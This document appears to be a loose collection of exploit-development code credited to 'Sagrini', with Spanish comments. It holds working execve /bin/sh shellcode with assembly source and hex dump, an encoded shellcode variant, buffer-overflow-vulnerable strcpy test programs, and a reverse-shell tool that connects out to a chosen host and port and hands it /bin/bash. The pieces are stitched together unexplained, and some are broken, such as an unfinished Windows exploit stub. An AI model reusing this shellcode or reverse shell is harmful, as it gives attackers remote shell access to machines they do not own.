#include <stdio.h>
#include <string.h> 
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
	printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
	(*(void(*)()) code)();
	return 0;
}
 
 

BITS 32
					; excve ()
 
	xor eax, eax			; Ponemos EAX a cero para bytes nulos
	push eax			; Metemos los ceros en la pila
	push 0x68732f2f			; Metemos "//sh". La segunda barra no importa. Además alinea.
	push 0x6e69622f			; Metemos "/bin". Alineados en la pila
	mov ebx, esp			; Metemos la direccion en EBX
	push eax			; Mas bytes nulos ...
	mov edx, esp			; ... para el entorno de 3º argumento
	push ebx			; Metemos la direccion de la cadena en la pila
	mov ecx, esp			; Y se la pasamos como direccion
	mov al, 11			; excve = syscall 11
	int 0x80			; Ejecutamos
 

00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
          "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
          "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81

global _start
 
section .code
_start:
	mov eax, 0x4   ; write (1, "A", 1);
	mov ebx, 0x1
	mov ecx, 0x42
	mov edx, 0x2
	int 80H
 
	mov eax, 1 // return 0;
	xor ebx, ebx
	int 80H
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main (int argc, char *argv [])
{
	char buffer [8];
	strcpy (buffer, argv [1]);
 
	printf ("You said : %s", buffer);
	return 0;
}

#include <stdio.h>
#include <string.h>
#include <windows.h>
 
int fff ()
{
	WinExec ("calc.exe", SW_MAX);
} 
 
int main(int argc, char **argv)
{
	if (argc != 2) return 1;
	char buff[12];
	strcpy(buff,argv[1]);
	printf("\nHas escrito:   %s\n",buff);
 
	return 0; 
}
 

#include <windows.h>
#include <strcpy.h>
 
int main ()
{
	char buff [28];
	int i;
	for (i = 0; i <= 23; i++)
		buff [i] = '\90'
 
/*
	Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
	La cosa es que tengo tres numeros donde van cuatro.
*/
 
	char command [33];
	strcpy (command, "code ");
	strcat (command, buff);
	WinExec (command);
}
 

#include <time.h>
 
#include <stdio.h>
 
#include <stdlib.h>
 
#include <string.h>
 
#include <sys/socket.h>
 
#include <arpa/inet.h>
 
 
 
struct sockaddr_in host;
 
int sockfd;
 
 
 
int execsock (int socket, char program [])
 
{
 
	close(0);
 
	close(1);
 
	close(2);
 
 
 
	dup2(socket, 0);
 
	dup2(socket, 1);
 
	dup2(socket, 2);
 
 
 
	execve(program, NULL, NULL);
 
	return 0;
 
}
 
 
 
int main (int argc, char *argv [])
 
{
 
	time_t now=time (0);
 
	struct tm *ahora;
 
	char hora [40];
 
	ahora=localtime ((const time_t*)&now);
 
	strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
 
	printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);
 
 
 
	if (argc == 3)
 
	{
 
		host.sin_addr.s_addr = inet_addr (argv [1]);
 
		host.sin_port = htons (atoi (argv [2]));
 
		host.sin_family = AF_INET;
 
		memset (host.sin_zero, 0, 8);
 
	}
 
	else
 
	{
 
		host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
 
		host.sin_port = htons (31337);
 
		host.sin_family = AF_INET;
 
		memset (host.sin_zero, 0, 8);
 
	}
 
 
 
	printf ("Iniciando...\t");
 
	sockfd = socket (2, 1, 0);
 
	if (sockfd != -1)
	{
 
		printf ("[OK]\nConectando...\t\a");
	}
 
	else
 
	{
 
		printf ("[FAIL]\n\n");
 
		return 1;
 
	}
 
 
	while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
		sleep (1);
 
	printf ("[OK]\nLanzando sell...\t[OK]");
	daemon (1, 0);
 
	execsock (sockfd, "/bin/bash");
 
	close (sockfd);
 
	return 0;
 
}
 
 

printf ("[OK]\nConectando...\t\a");